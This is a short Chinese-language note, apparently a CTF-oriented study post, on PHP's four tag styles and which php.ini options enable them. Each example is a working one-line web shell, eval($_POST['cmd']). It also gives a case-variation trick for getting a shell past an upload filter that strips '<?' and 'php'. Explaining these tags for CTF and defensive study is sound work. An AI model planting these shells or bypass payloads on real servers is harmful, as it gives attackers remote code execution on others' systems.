PHP的标识有哪些?
PHP四种标记风格
1.XML风格
<?php eval($_POST['cmd']); ?>
php推荐使用的标记风格。
服务器管理员无法禁用,所有服务器上均可使用该风格。
2.脚本风格
<script language="php"> eval($_POST['cmd']); </script>
默认开启,无法禁用
笔者曾遇到过一CTF题目,要求上传shell,但是却对文件内容做了过滤 ,<? 以及 php,替换为了空格。此种风格中,language的值,大小写都可以,因此可以构造如下代码进行绕过
<script language="PhP"> eval($_POST['cmd']); </script>
3.简短风格
<? eval($_POST['cmd']); ?>
此种风格需要在配置文件php.ini中启用short_open_tage选项
此种风格在许多环境中默认是不支持的
4.ASP风格
<% eval($_POST['cmd']); %>
此种风格需要在配置文件php.ini中启用asp_tag选项
在默认情况下是禁用的